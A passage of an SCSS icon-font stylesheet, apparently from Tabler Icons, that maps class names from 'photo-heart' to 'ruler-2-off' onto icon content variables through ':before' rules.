$ti-icon-photo-heart;\n}\n\n.#{$ti-prefix}-photo-hexagon:before {\n  content: $ti-icon-photo-hexagon;\n}\n\n.#{$ti-prefix}-photo-minus:before {\n  content: $ti-icon-photo-minus;\n}\n\n.#{$ti-prefix}-photo-off:before {\n  content: $ti-icon-photo-off;\n}\n\n.#{$ti-prefix}-photo-pause:before {\n  content: $ti-icon-photo-pause;\n}\n\n.#{$ti-prefix}-photo-pentagon:before {\n  content: $ti-icon-photo-pentagon;\n}\n\n.#{$ti-prefix}-photo-pin:before {\n  content: $ti-icon-photo-pin;\n}\n\n.#{$ti-prefix}-photo-plus:before {\n  content: $ti-icon-photo-plus;\n}\n\n.#{$ti-prefix}-photo-question:before {\n  content: $ti-icon-photo-question;\n}\n\n.#{$ti-prefix}-photo-scan:before {\n  content: $ti-icon-photo-scan;\n}\n\n.#{$ti-prefix}-photo-search:before {\n  content: $ti-icon-photo-search;\n}\n\n.#{$ti-prefix}-photo-sensor:before {\n  content: $ti-icon-photo-sensor;\n}\n\n.#{$ti-prefix}-photo-sensor-2:before {\n  content: $ti-icon-photo-sensor-2;\n}\n\n.#{$ti-prefix}-photo-sensor-3:before {\n  content: $ti-icon-photo-sensor-3;\n}\n\n.#{$ti-prefix}-photo-share:before {\n  content: $ti-icon-photo-share;\n}\n\n.#{$ti-prefix}-photo-shield:before {\n  content: $ti-icon-photo-shield;\n}\n\n.#{$ti-prefix}-photo-square-rounded:before {\n  content: $ti-icon-photo-square-rounded;\n}\n\n.#{$ti-prefix}-photo-star:before {\n  content: $ti-icon-photo-star;\n}\n\n.#{$ti-prefix}-photo-up:before {\n  content: $ti-icon-photo-up;\n}\n\n.#{$ti-prefix}-photo-video:before {\n  content: $ti-icon-photo-video;\n}\n\n.#{$ti-prefix}-photo-x:before {\n  content: $ti-icon-photo-x;\n}\n\n.#{$ti-prefix}-physotherapist:before {\n  content: $ti-icon-physotherapist;\n}\n\n.#{$ti-prefix}-piano:before {\n  content: $ti-icon-piano;\n}\n\n.#{$ti-prefix}-pick:before {\n  content: $ti-icon-pick;\n}\n\n.#{$ti-prefix}-picture-in-picture:before {\n  content: $ti-icon-picture-in-picture;\n}\n\n.#{$ti-prefix}-picture-in-picture-off:before {\n  content: $ti-icon-picture-in-picture-off;\n}\n\n.#{$ti-prefix}-picture-in-picture-on:before {\n  content: $ti-icon-picture-in-picture-on;\n}\n\n.#{$ti-prefix}-picture-in-picture-top:before {\n  content: $ti-icon-picture-in-picture-top;\n}\n\n.#{$ti-prefix}-pig:before {\n  content: $ti-icon-pig;\n}\n\n.#{$ti-prefix}-pig-money:before {\n  content: $ti-icon-pig-money;\n}\n\n.#{$ti-prefix}-pig-off:before {\n  content: $ti-icon-pig-off;\n}\n\n.#{$ti-prefix}-pilcrow:before {\n  content: $ti-icon-pilcrow;\n}\n\n.#{$ti-prefix}-pilcrow-left:before {\n  content: $ti-icon-pilcrow-left;\n}\n\n.#{$ti-prefix}-pilcrow-right:before {\n  content: $ti-icon-pilcrow-right;\n}\n\n.#{$ti-prefix}-pill:before {\n  content: $ti-icon-pill;\n}\n\n.#{$ti-prefix}-pill-off:before {\n  content: $ti-icon-pill-off;\n}\n\n.#{$ti-prefix}-pills:before {\n  content: $ti-icon-pills;\n}\n\n.#{$ti-prefix}-pin:before {\n  content: $ti-icon-pin;\n}\n\n.#{$ti-prefix}-pin-end:before {\n  content: $ti-icon-pin-end;\n}\n\n.#{$ti-prefix}-pin-filled:before {\n  content: $ti-icon-pin-filled;\n}\n\n.#{$ti-prefix}-pin-invoke:before {\n  content: $ti-icon-pin-invoke;\n}\n\n.#{$ti-prefix}-ping-pong:before {\n  content: $ti-icon-ping-pong;\n}\n\n.#{$ti-prefix}-pinned:before {\n  content: $ti-icon-pinned;\n}\n\n.#{$ti-prefix}-pinned-filled:before {\n  content: $ti-icon-pinned-filled;\n}\n\n.#{$ti-prefix}-pinned-off:before {\n  content: $ti-icon-pinned-off;\n}\n\n.#{$ti-prefix}-pizza:before {\n  content: $ti-icon-pizza;\n}\n\n.#{$ti-prefix}-pizza-off:before {\n  content: $ti-icon-pizza-off;\n}\n\n.#{$ti-prefix}-placeholder:before {\n  content: $ti-icon-placeholder;\n}\n\n.#{$ti-prefix}-plane:before {\n  content: $ti-icon-plane;\n}\n\n.#{$ti-prefix}-plane-arrival:before {\n  content: $ti-icon-plane-arrival;\n}\n\n.#{$ti-prefix}-plane-departure:before {\n  content: $ti-icon-plane-departure;\n}\n\n.#{$ti-prefix}-plane-inflight:before {\n  content: $ti-icon-plane-inflight;\n}\n\n.#{$ti-prefix}-plane-off:before {\n  content: $ti-icon-plane-off;\n}\n\n.#{$ti-prefix}-plane-tilt:before {\n  content: $ti-icon-plane-tilt;\n}\n\n.#{$ti-prefix}-planet:before {\n  content: $ti-icon-planet;\n}\n\n.#{$ti-prefix}-planet-off:before {\n  content: $ti-icon-planet-off;\n}\n\n.#{$ti-prefix}-plant:before {\n  content: $ti-icon-plant;\n}\n\n.#{$ti-prefix}-plant-2:before {\n  content: $ti-icon-plant-2;\n}\n\n.#{$ti-prefix}-plant-2-off:before {\n  content: $ti-icon-plant-2-off;\n}\n\n.#{$ti-prefix}-plant-off:before {\n  content: $ti-icon-plant-off;\n}\n\n.#{$ti-prefix}-play-basketball:before {\n  content: $ti-icon-play-basketball;\n}\n\n.#{$ti-prefix}-play-card:before {\n  content: $ti-icon-play-card;\n}\n\n.#{$ti-prefix}-play-card-off:before {\n  content: $ti-icon-play-card-off;\n}\n\n.#{$ti-prefix}-play-football:before {\n  content: $ti-icon-play-football;\n}\n\n.#{$ti-prefix}-play-handball:before {\n  content: $ti-icon-play-handball;\n}\n\n.#{$ti-prefix}-play-volleyball:before {\n  content: $ti-icon-play-volleyball;\n}\n\n.#{$ti-prefix}-player-eject:before {\n  content: $ti-icon-player-eject;\n}\n\n.#{$ti-prefix}-player-eject-filled:before {\n  content: $ti-icon-player-eject-filled;\n}\n\n.#{$ti-prefix}-player-pause:before {\n  content: $ti-icon-player-pause;\n}\n\n.#{$ti-prefix}-player-pause-filled:before {\n  content: $ti-icon-player-pause-filled;\n}\n\n.#{$ti-prefix}-player-play:before {\n  content: $ti-icon-player-play;\n}\n\n.#{$ti-prefix}-player-play-filled:before {\n  content: $ti-icon-player-play-filled;\n}\n\n.#{$ti-prefix}-player-record:before {\n  content: $ti-icon-player-record;\n}\n\n.#{$ti-prefix}-player-record-filled:before {\n  content: $ti-icon-player-record-filled;\n}\n\n.#{$ti-prefix}-player-skip-back:before {\n  content: $ti-icon-player-skip-back;\n}\n\n.#{$ti-prefix}-player-skip-back-filled:before {\n  content: $ti-icon-player-skip-back-filled;\n}\n\n.#{$ti-prefix}-player-skip-forward:before {\n  content: $ti-icon-player-skip-forward;\n}\n\n.#{$ti-prefix}-player-skip-forward-filled:before {\n  content: $ti-icon-player-skip-forward-filled;\n}\n\n.#{$ti-prefix}-player-stop:before {\n  content: $ti-icon-player-stop;\n}\n\n.#{$ti-prefix}-player-stop-filled:before {\n  content: $ti-icon-player-stop-filled;\n}\n\n.#{$ti-prefix}-player-track-next:before {\n  content: $ti-icon-player-track-next;\n}\n\n.#{$ti-prefix}-player-track-next-filled:before {\n  content: $ti-icon-player-track-next-filled;\n}\n\n.#{$ti-prefix}-player-track-prev:before {\n  content: $ti-icon-player-track-prev;\n}\n\n.#{$ti-prefix}-player-track-prev-filled:before {\n  content: $ti-icon-player-track-prev-filled;\n}\n\n.#{$ti-prefix}-playlist:before {\n  content: $ti-icon-playlist;\n}\n\n.#{$ti-prefix}-playlist-add:before {\n  content: $ti-icon-playlist-add;\n}\n\n.#{$ti-prefix}-playlist-off:before {\n  content: $ti-icon-playlist-off;\n}\n\n.#{$ti-prefix}-playlist-x:before {\n  content: $ti-icon-playlist-x;\n}\n\n.#{$ti-prefix}-playstation-circle:before {\n  content: $ti-icon-playstation-circle;\n}\n\n.#{$ti-prefix}-playstation-square:before {\n  content: $ti-icon-playstation-square;\n}\n\n.#{$ti-prefix}-playstation-triangle:before {\n  content: $ti-icon-playstation-triangle;\n}\n\n.#{$ti-prefix}-playstation-x:before {\n  content: $ti-icon-playstation-x;\n}\n\n.#{$ti-prefix}-plug:before {\n  content: $ti-icon-plug;\n}\n\n.#{$ti-prefix}-plug-connected:before {\n  content: $ti-icon-plug-connected;\n}\n\n.#{$ti-prefix}-plug-connected-x:before {\n  content: $ti-icon-plug-connected-x;\n}\n\n.#{$ti-prefix}-plug-off:before {\n  content: $ti-icon-plug-off;\n}\n\n.#{$ti-prefix}-plug-x:before {\n  content: $ti-icon-plug-x;\n}\n\n.#{$ti-prefix}-plus:before {\n  content: $ti-icon-plus;\n}\n\n.#{$ti-prefix}-plus-equal:before {\n  content: $ti-icon-plus-equal;\n}\n\n.#{$ti-prefix}-plus-minus:before {\n  content: $ti-icon-plus-minus;\n}\n\n.#{$ti-prefix}-png:before {\n  content: $ti-icon-png;\n}\n\n.#{$ti-prefix}-podium:before {\n  content: $ti-icon-podium;\n}\n\n.#{$ti-prefix}-podium-off:before {\n  content: $ti-icon-podium-off;\n}\n\n.#{$ti-prefix}-point:before {\n  content: $ti-icon-point;\n}\n\n.#{$ti-prefix}-point-filled:before {\n  content: $ti-icon-point-filled;\n}\n\n.#{$ti-prefix}-point-off:before {\n  content: $ti-icon-point-off;\n}\n\n.#{$ti-prefix}-pointer:before {\n  content: $ti-icon-pointer;\n}\n\n.#{$ti-prefix}-pointer-bolt:before {\n  content: $ti-icon-pointer-bolt;\n}\n\n.#{$ti-prefix}-pointer-cancel:before {\n  content: $ti-icon-pointer-cancel;\n}\n\n.#{$ti-prefix}-pointer-check:before {\n  content: $ti-icon-pointer-check;\n}\n\n.#{$ti-prefix}-pointer-code:before {\n  content: $ti-icon-pointer-code;\n}\n\n.#{$ti-prefix}-pointer-cog:before {\n  content: $ti-icon-pointer-cog;\n}\n\n.#{$ti-prefix}-pointer-dollar:before {\n  content: $ti-icon-pointer-dollar;\n}\n\n.#{$ti-prefix}-pointer-down:before {\n  content: $ti-icon-pointer-down;\n}\n\n.#{$ti-prefix}-pointer-exclamation:before {\n  content: $ti-icon-pointer-exclamation;\n}\n\n.#{$ti-prefix}-pointer-filled:before {\n  content: $ti-icon-pointer-filled;\n}\n\n.#{$ti-prefix}-pointer-heart:before {\n  content: $ti-icon-pointer-heart;\n}\n\n.#{$ti-prefix}-pointer-minus:before {\n  content: $ti-icon-pointer-minus;\n}\n\n.#{$ti-prefix}-pointer-off:before {\n  content: $ti-icon-pointer-off;\n}\n\n.#{$ti-prefix}-pointer-pause:before {\n  content: $ti-icon-pointer-pause;\n}\n\n.#{$ti-prefix}-pointer-pin:before {\n  content: $ti-icon-pointer-pin;\n}\n\n.#{$ti-prefix}-pointer-plus:before {\n  content: $ti-icon-pointer-plus;\n}\n\n.#{$ti-prefix}-pointer-question:before {\n  content: $ti-icon-pointer-question;\n}\n\n.#{$ti-prefix}-pointer-search:before {\n  content: $ti-icon-pointer-search;\n}\n\n.#{$ti-prefix}-pointer-share:before {\n  content: $ti-icon-pointer-share;\n}\n\n.#{$ti-prefix}-pointer-star:before {\n  content: $ti-icon-pointer-star;\n}\n\n.#{$ti-prefix}-pointer-up:before {\n  content: $ti-icon-pointer-up;\n}\n\n.#{$ti-prefix}-pointer-x:before {\n  content: $ti-icon-pointer-x;\n}\n\n.#{$ti-prefix}-pokeball:before {\n  content: $ti-icon-pokeball;\n}\n\n.#{$ti-prefix}-pokeball-off:before {\n  content: $ti-icon-pokeball-off;\n}\n\n.#{$ti-prefix}-poker-chip:before {\n  content: $ti-icon-poker-chip;\n}\n\n.#{$ti-prefix}-polaroid:before {\n  content: $ti-icon-polaroid;\n}\n\n.#{$ti-prefix}-polaroid-filled:before {\n  content: $ti-icon-polaroid-filled;\n}\n\n.#{$ti-prefix}-polygon:before {\n  content: $ti-icon-polygon;\n}\n\n.#{$ti-prefix}-polygon-off:before {\n  content: $ti-icon-polygon-off;\n}\n\n.#{$ti-prefix}-poo:before {\n  content: $ti-icon-poo;\n}\n\n.#{$ti-prefix}-pool:before {\n  content: $ti-icon-pool;\n}\n\n.#{$ti-prefix}-pool-off:before {\n  content: $ti-icon-pool-off;\n}\n\n.#{$ti-prefix}-power:before {\n  content: $ti-icon-power;\n}\n\n.#{$ti-prefix}-pray:before {\n  content: $ti-icon-pray;\n}\n\n.#{$ti-prefix}-premium-rights:before {\n  content: $ti-icon-premium-rights;\n}\n\n.#{$ti-prefix}-prescription:before {\n  content: $ti-icon-prescription;\n}\n\n.#{$ti-prefix}-presentation:before {\n  content: $ti-icon-presentation;\n}\n\n.#{$ti-prefix}-presentation-analytics:before {\n  content: $ti-icon-presentation-analytics;\n}\n\n.#{$ti-prefix}-presentation-off:before {\n  content: $ti-icon-presentation-off;\n}\n\n.#{$ti-prefix}-printer:before {\n  content: $ti-icon-printer;\n}\n\n.#{$ti-prefix}-printer-off:before {\n  content: $ti-icon-printer-off;\n}\n\n.#{$ti-prefix}-prism:before {\n  content: $ti-icon-prism;\n}\n\n.#{$ti-prefix}-prism-off:before {\n  content: $ti-icon-prism-off;\n}\n\n.#{$ti-prefix}-prism-plus:before {\n  content: $ti-icon-prism-plus;\n}\n\n.#{$ti-prefix}-prison:before {\n  content: $ti-icon-prison;\n}\n\n.#{$ti-prefix}-progress:before {\n  content: $ti-icon-progress;\n}\n\n.#{$ti-prefix}-progress-alert:before {\n  content: $ti-icon-progress-alert;\n}\n\n.#{$ti-prefix}-progress-bolt:before {\n  content: $ti-icon-progress-bolt;\n}\n\n.#{$ti-prefix}-progress-check:before {\n  content: $ti-icon-progress-check;\n}\n\n.#{$ti-prefix}-progress-down:before {\n  content: $ti-icon-progress-down;\n}\n\n.#{$ti-prefix}-progress-help:before {\n  content: $ti-icon-progress-help;\n}\n\n.#{$ti-prefix}-progress-x:before {\n  content: $ti-icon-progress-x;\n}\n\n.#{$ti-prefix}-prompt:before {\n  content: $ti-icon-prompt;\n}\n\n.#{$ti-prefix}-prong:before {\n  content: $ti-icon-prong;\n}\n\n.#{$ti-prefix}-propeller:before {\n  content: $ti-icon-propeller;\n}\n\n.#{$ti-prefix}-propeller-off:before {\n  content: $ti-icon-propeller-off;\n}\n\n.#{$ti-prefix}-protocol:before {\n  content: $ti-icon-protocol;\n}\n\n.#{$ti-prefix}-pumpkin-scary:before {\n  content: $ti-icon-pumpkin-scary;\n}\n\n.#{$ti-prefix}-puzzle:before {\n  content: $ti-icon-puzzle;\n}\n\n.#{$ti-prefix}-puzzle-2:before {\n  content: $ti-icon-puzzle-2;\n}\n\n.#{$ti-prefix}-puzzle-filled:before {\n  content: $ti-icon-puzzle-filled;\n}\n\n.#{$ti-prefix}-puzzle-off:before {\n  content: $ti-icon-puzzle-off;\n}\n\n.#{$ti-prefix}-pyramid:before {\n  content: $ti-icon-pyramid;\n}\n\n.#{$ti-prefix}-pyramid-off:before {\n  content: $ti-icon-pyramid-off;\n}\n\n.#{$ti-prefix}-pyramid-plus:before {\n  content: $ti-icon-pyramid-plus;\n}\n\n.#{$ti-prefix}-qrcode:before {\n  content: $ti-icon-qrcode;\n}\n\n.#{$ti-prefix}-qrcode-off:before {\n  content: $ti-icon-qrcode-off;\n}\n\n.#{$ti-prefix}-question-mark:before {\n  content: $ti-icon-question-mark;\n}\n\n.#{$ti-prefix}-quote:before {\n  content: $ti-icon-quote;\n}\n\n.#{$ti-prefix}-quote-off:before {\n  content: $ti-icon-quote-off;\n}\n\n.#{$ti-prefix}-quotes:before {\n  content: $ti-icon-quotes;\n}\n\n.#{$ti-prefix}-radar:before {\n  content: $ti-icon-radar;\n}\n\n.#{$ti-prefix}-radar-2:before {\n  content: $ti-icon-radar-2;\n}\n\n.#{$ti-prefix}-radar-filled:before {\n  content: $ti-icon-radar-filled;\n}\n\n.#{$ti-prefix}-radar-off:before {\n  content: $ti-icon-radar-off;\n}\n\n.#{$ti-prefix}-radio:before {\n  content: $ti-icon-radio;\n}\n\n.#{$ti-prefix}-radio-off:before {\n  content: $ti-icon-radio-off;\n}\n\n.#{$ti-prefix}-radioactive:before {\n  content: $ti-icon-radioactive;\n}\n\n.#{$ti-prefix}-radioactive-filled:before {\n  content: $ti-icon-radioactive-filled;\n}\n\n.#{$ti-prefix}-radioactive-off:before {\n  content: $ti-icon-radioactive-off;\n}\n\n.#{$ti-prefix}-radius-bottom-left:before {\n  content: $ti-icon-radius-bottom-left;\n}\n\n.#{$ti-prefix}-radius-bottom-right:before {\n  content: $ti-icon-radius-bottom-right;\n}\n\n.#{$ti-prefix}-radius-top-left:before {\n  content: $ti-icon-radius-top-left;\n}\n\n.#{$ti-prefix}-radius-top-right:before {\n  content: $ti-icon-radius-top-right;\n}\n\n.#{$ti-prefix}-rainbow:before {\n  content: $ti-icon-rainbow;\n}\n\n.#{$ti-prefix}-rainbow-off:before {\n  content: $ti-icon-rainbow-off;\n}\n\n.#{$ti-prefix}-rating-12-plus:before {\n  content: $ti-icon-rating-12-plus;\n}\n\n.#{$ti-prefix}-rating-14-plus:before {\n  content: $ti-icon-rating-14-plus;\n}\n\n.#{$ti-prefix}-rating-16-plus:before {\n  content: $ti-icon-rating-16-plus;\n}\n\n.#{$ti-prefix}-rating-18-plus:before {\n  content: $ti-icon-rating-18-plus;\n}\n\n.#{$ti-prefix}-rating-21-plus:before {\n  content: $ti-icon-rating-21-plus;\n}\n\n.#{$ti-prefix}-razor:before {\n  content: $ti-icon-razor;\n}\n\n.#{$ti-prefix}-razor-electric:before {\n  content: $ti-icon-razor-electric;\n}\n\n.#{$ti-prefix}-receipt:before {\n  content: $ti-icon-receipt;\n}\n\n.#{$ti-prefix}-receipt-2:before {\n  content: $ti-icon-receipt-2;\n}\n\n.#{$ti-prefix}-receipt-bitcoin:before {\n  content: $ti-icon-receipt-bitcoin;\n}\n\n.#{$ti-prefix}-receipt-dollar:before {\n  content: $ti-icon-receipt-dollar;\n}\n\n.#{$ti-prefix}-receipt-euro:before {\n  content: $ti-icon-receipt-euro;\n}\n\n.#{$ti-prefix}-receipt-off:before {\n  content: $ti-icon-receipt-off;\n}\n\n.#{$ti-prefix}-receipt-pound:before {\n  content: $ti-icon-receipt-pound;\n}\n\n.#{$ti-prefix}-receipt-refund:before {\n  content: $ti-icon-receipt-refund;\n}\n\n.#{$ti-prefix}-receipt-rupee:before {\n  content: $ti-icon-receipt-rupee;\n}\n\n.#{$ti-prefix}-receipt-tax:before {\n  content: $ti-icon-receipt-tax;\n}\n\n.#{$ti-prefix}-receipt-yen:before {\n  content: $ti-icon-receipt-yen;\n}\n\n.#{$ti-prefix}-receipt-yuan:before {\n  content: $ti-icon-receipt-yuan;\n}\n\n.#{$ti-prefix}-recharging:before {\n  content: $ti-icon-recharging;\n}\n\n.#{$ti-prefix}-record-mail:before {\n  content: $ti-icon-record-mail;\n}\n\n.#{$ti-prefix}-record-mail-off:before {\n  content: $ti-icon-record-mail-off;\n}\n\n.#{$ti-prefix}-rectangle:before {\n  content: $ti-icon-rectangle;\n}\n\n.#{$ti-prefix}-rectangle-filled:before {\n  content: $ti-icon-rectangle-filled;\n}\n\n.#{$ti-prefix}-rectangle-rounded-bottom:before {\n  content: $ti-icon-rectangle-rounded-bottom;\n}\n\n.#{$ti-prefix}-rectangle-rounded-top:before {\n  content: $ti-icon-rectangle-rounded-top;\n}\n\n.#{$ti-prefix}-rectangle-vertical:before {\n  content: $ti-icon-rectangle-vertical;\n}\n\n.#{$ti-prefix}-rectangle-vertical-filled:before {\n  content: $ti-icon-rectangle-vertical-filled;\n}\n\n.#{$ti-prefix}-rectangular-prism:before {\n  content: $ti-icon-rectangular-prism;\n}\n\n.#{$ti-prefix}-rectangular-prism-off:before {\n  content: $ti-icon-rectangular-prism-off;\n}\n\n.#{$ti-prefix}-rectangular-prism-plus:before {\n  content: $ti-icon-rectangular-prism-plus;\n}\n\n.#{$ti-prefix}-recycle:before {\n  content: $ti-icon-recycle;\n}\n\n.#{$ti-prefix}-recycle-off:before {\n  content: $ti-icon-recycle-off;\n}\n\n.#{$ti-prefix}-refresh:before {\n  content: $ti-icon-refresh;\n}\n\n.#{$ti-prefix}-refresh-alert:before {\n  content: $ti-icon-refresh-alert;\n}\n\n.#{$ti-prefix}-refresh-dot:before {\n  content: $ti-icon-refresh-dot;\n}\n\n.#{$ti-prefix}-refresh-off:before {\n  content: $ti-icon-refresh-off;\n}\n\n.#{$ti-prefix}-regex:before {\n  content: $ti-icon-regex;\n}\n\n.#{$ti-prefix}-regex-off:before {\n  content: $ti-icon-regex-off;\n}\n\n.#{$ti-prefix}-registered:before {\n  content: $ti-icon-registered;\n}\n\n.#{$ti-prefix}-relation-many-to-many:before {\n  content: $ti-icon-relation-many-to-many;\n}\n\n.#{$ti-prefix}-relation-many-to-many-filled:before {\n  content: $ti-icon-relation-many-to-many-filled;\n}\n\n.#{$ti-prefix}-relation-one-to-many:before {\n  content: $ti-icon-relation-one-to-many;\n}\n\n.#{$ti-prefix}-relation-one-to-many-filled:before {\n  content: $ti-icon-relation-one-to-many-filled;\n}\n\n.#{$ti-prefix}-relation-one-to-one:before {\n  content: $ti-icon-relation-one-to-one;\n}\n\n.#{$ti-prefix}-relation-one-to-one-filled:before {\n  content: $ti-icon-relation-one-to-one-filled;\n}\n\n.#{$ti-prefix}-reload:before {\n  content: $ti-icon-reload;\n}\n\n.#{$ti-prefix}-reorder:before {\n  content: $ti-icon-reorder;\n}\n\n.#{$ti-prefix}-repeat:before {\n  content: $ti-icon-repeat;\n}\n\n.#{$ti-prefix}-repeat-off:before {\n  content: $ti-icon-repeat-off;\n}\n\n.#{$ti-prefix}-repeat-once:before {\n  content: $ti-icon-repeat-once;\n}\n\n.#{$ti-prefix}-replace:before {\n  content: $ti-icon-replace;\n}\n\n.#{$ti-prefix}-replace-filled:before {\n  content: $ti-icon-replace-filled;\n}\n\n.#{$ti-prefix}-replace-off:before {\n  content: $ti-icon-replace-off;\n}\n\n.#{$ti-prefix}-report:before {\n  content: $ti-icon-report;\n}\n\n.#{$ti-prefix}-report-analytics:before {\n  content: $ti-icon-report-analytics;\n}\n\n.#{$ti-prefix}-report-medical:before {\n  content: $ti-icon-report-medical;\n}\n\n.#{$ti-prefix}-report-money:before {\n  content: $ti-icon-report-money;\n}\n\n.#{$ti-prefix}-report-off:before {\n  content: $ti-icon-report-off;\n}\n\n.#{$ti-prefix}-report-search:before {\n  content: $ti-icon-report-search;\n}\n\n.#{$ti-prefix}-reserved-line:before {\n  content: $ti-icon-reserved-line;\n}\n\n.#{$ti-prefix}-resize:before {\n  content: $ti-icon-resize;\n}\n\n.#{$ti-prefix}-restore:before {\n  content: $ti-icon-restore;\n}\n\n.#{$ti-prefix}-rewind-backward-10:before {\n  content: $ti-icon-rewind-backward-10;\n}\n\n.#{$ti-prefix}-rewind-backward-15:before {\n  content: $ti-icon-rewind-backward-15;\n}\n\n.#{$ti-prefix}-rewind-backward-20:before {\n  content: $ti-icon-rewind-backward-20;\n}\n\n.#{$ti-prefix}-rewind-backward-30:before {\n  content: $ti-icon-rewind-backward-30;\n}\n\n.#{$ti-prefix}-rewind-backward-40:before {\n  content: $ti-icon-rewind-backward-40;\n}\n\n.#{$ti-prefix}-rewind-backward-5:before {\n  content: $ti-icon-rewind-backward-5;\n}\n\n.#{$ti-prefix}-rewind-backward-50:before {\n  content: $ti-icon-rewind-backward-50;\n}\n\n.#{$ti-prefix}-rewind-backward-60:before {\n  content: $ti-icon-rewind-backward-60;\n}\n\n.#{$ti-prefix}-rewind-forward-10:before {\n  content: $ti-icon-rewind-forward-10;\n}\n\n.#{$ti-prefix}-rewind-forward-15:before {\n  content: $ti-icon-rewind-forward-15;\n}\n\n.#{$ti-prefix}-rewind-forward-20:before {\n  content: $ti-icon-rewind-forward-20;\n}\n\n.#{$ti-prefix}-rewind-forward-30:before {\n  content: $ti-icon-rewind-forward-30;\n}\n\n.#{$ti-prefix}-rewind-forward-40:before {\n  content: $ti-icon-rewind-forward-40;\n}\n\n.#{$ti-prefix}-rewind-forward-5:before {\n  content: $ti-icon-rewind-forward-5;\n}\n\n.#{$ti-prefix}-rewind-forward-50:before {\n  content: $ti-icon-rewind-forward-50;\n}\n\n.#{$ti-prefix}-rewind-forward-60:before {\n  content: $ti-icon-rewind-forward-60;\n}\n\n.#{$ti-prefix}-ribbon-health:before {\n  content: $ti-icon-ribbon-health;\n}\n\n.#{$ti-prefix}-rings:before {\n  content: $ti-icon-rings;\n}\n\n.#{$ti-prefix}-ripple:before {\n  content: $ti-icon-ripple;\n}\n\n.#{$ti-prefix}-ripple-off:before {\n  content: $ti-icon-ripple-off;\n}\n\n.#{$ti-prefix}-road:before {\n  content: $ti-icon-road;\n}\n\n.#{$ti-prefix}-road-off:before {\n  content: $ti-icon-road-off;\n}\n\n.#{$ti-prefix}-road-sign:before {\n  content: $ti-icon-road-sign;\n}\n\n.#{$ti-prefix}-robot:before {\n  content: $ti-icon-robot;\n}\n\n.#{$ti-prefix}-robot-face:before {\n  content: $ti-icon-robot-face;\n}\n\n.#{$ti-prefix}-robot-off:before {\n  content: $ti-icon-robot-off;\n}\n\n.#{$ti-prefix}-rocket:before {\n  content: $ti-icon-rocket;\n}\n\n.#{$ti-prefix}-rocket-off:before {\n  content: $ti-icon-rocket-off;\n}\n\n.#{$ti-prefix}-roller-skating:before {\n  content: $ti-icon-roller-skating;\n}\n\n.#{$ti-prefix}-rollercoaster:before {\n  content: $ti-icon-rollercoaster;\n}\n\n.#{$ti-prefix}-rollercoaster-off:before {\n  content: $ti-icon-rollercoaster-off;\n}\n\n.#{$ti-prefix}-rosette:before {\n  content: $ti-icon-rosette;\n}\n\n.#{$ti-prefix}-rosette-discount:before {\n  content: $ti-icon-rosette-discount;\n}\n\n.#{$ti-prefix}-rosette-discount-check:before {\n  content: $ti-icon-rosette-discount-check;\n}\n\n.#{$ti-prefix}-rosette-discount-check-filled:before {\n  content: $ti-icon-rosette-discount-check-filled;\n}\n\n.#{$ti-prefix}-rosette-discount-off:before {\n  content: $ti-icon-rosette-discount-off;\n}\n\n.#{$ti-prefix}-rosette-filled:before {\n  content: $ti-icon-rosette-filled;\n}\n\n.#{$ti-prefix}-rosette-number-0:before {\n  content: $ti-icon-rosette-number-0;\n}\n\n.#{$ti-prefix}-rosette-number-1:before {\n  content: $ti-icon-rosette-number-1;\n}\n\n.#{$ti-prefix}-rosette-number-2:before {\n  content: $ti-icon-rosette-number-2;\n}\n\n.#{$ti-prefix}-rosette-number-3:before {\n  content: $ti-icon-rosette-number-3;\n}\n\n.#{$ti-prefix}-rosette-number-4:before {\n  content: $ti-icon-rosette-number-4;\n}\n\n.#{$ti-prefix}-rosette-number-5:before {\n  content: $ti-icon-rosette-number-5;\n}\n\n.#{$ti-prefix}-rosette-number-6:before {\n  content: $ti-icon-rosette-number-6;\n}\n\n.#{$ti-prefix}-rosette-number-7:before {\n  content: $ti-icon-rosette-number-7;\n}\n\n.#{$ti-prefix}-rosette-number-8:before {\n  content: $ti-icon-rosette-number-8;\n}\n\n.#{$ti-prefix}-rosette-number-9:before {\n  content: $ti-icon-rosette-number-9;\n}\n\n.#{$ti-prefix}-rotate:before {\n  content: $ti-icon-rotate;\n}\n\n.#{$ti-prefix}-rotate-2:before {\n  content: $ti-icon-rotate-2;\n}\n\n.#{$ti-prefix}-rotate-360:before {\n  content: $ti-icon-rotate-360;\n}\n\n.#{$ti-prefix}-rotate-3d:before {\n  content: $ti-icon-rotate-3d;\n}\n\n.#{$ti-prefix}-rotate-clockwise:before {\n  content: $ti-icon-rotate-clockwise;\n}\n\n.#{$ti-prefix}-rotate-clockwise-2:before {\n  content: $ti-icon-rotate-clockwise-2;\n}\n\n.#{$ti-prefix}-rotate-dot:before {\n  content: $ti-icon-rotate-dot;\n}\n\n.#{$ti-prefix}-rotate-rectangle:before {\n  content: $ti-icon-rotate-rectangle;\n}\n\n.#{$ti-prefix}-route:before {\n  content: $ti-icon-route;\n}\n\n.#{$ti-prefix}-route-2:before {\n  content: $ti-icon-route-2;\n}\n\n.#{$ti-prefix}-route-alt-left:before {\n  content: $ti-icon-route-alt-left;\n}\n\n.#{$ti-prefix}-route-alt-right:before {\n  content: $ti-icon-route-alt-right;\n}\n\n.#{$ti-prefix}-route-off:before {\n  content: $ti-icon-route-off;\n}\n\n.#{$ti-prefix}-route-scan:before {\n  content: $ti-icon-route-scan;\n}\n\n.#{$ti-prefix}-route-square:before {\n  content: $ti-icon-route-square;\n}\n\n.#{$ti-prefix}-route-square-2:before {\n  content: $ti-icon-route-square-2;\n}\n\n.#{$ti-prefix}-route-x:before {\n  content: $ti-icon-route-x;\n}\n\n.#{$ti-prefix}-route-x-2:before {\n  content: $ti-icon-route-x-2;\n}\n\n.#{$ti-prefix}-router:before {\n  content: $ti-icon-router;\n}\n\n.#{$ti-prefix}-router-off:before {\n  content: $ti-icon-router-off;\n}\n\n.#{$ti-prefix}-row-insert-bottom:before {\n  content: $ti-icon-row-insert-bottom;\n}\n\n.#{$ti-prefix}-row-insert-top:before {\n  content: $ti-icon-row-insert-top;\n}\n\n.#{$ti-prefix}-row-remove:before {\n  content: $ti-icon-row-remove;\n}\n\n.#{$ti-prefix}-rss:before {\n  content: $ti-icon-rss;\n}\n\n.#{$ti-prefix}-rubber-stamp:before {\n  content: $ti-icon-rubber-stamp;\n}\n\n.#{$ti-prefix}-rubber-stamp-off:before {\n  content: $ti-icon-rubber-stamp-off;\n}\n\n.#{$ti-prefix}-ruler:before {\n  content: $ti-icon-ruler;\n}\n\n.#{$ti-prefix}-ruler-2:before {\n  content: $ti-icon-ruler-2;\n}\n\n.#{$ti-prefix}-ruler-2-off:before {\n  content: 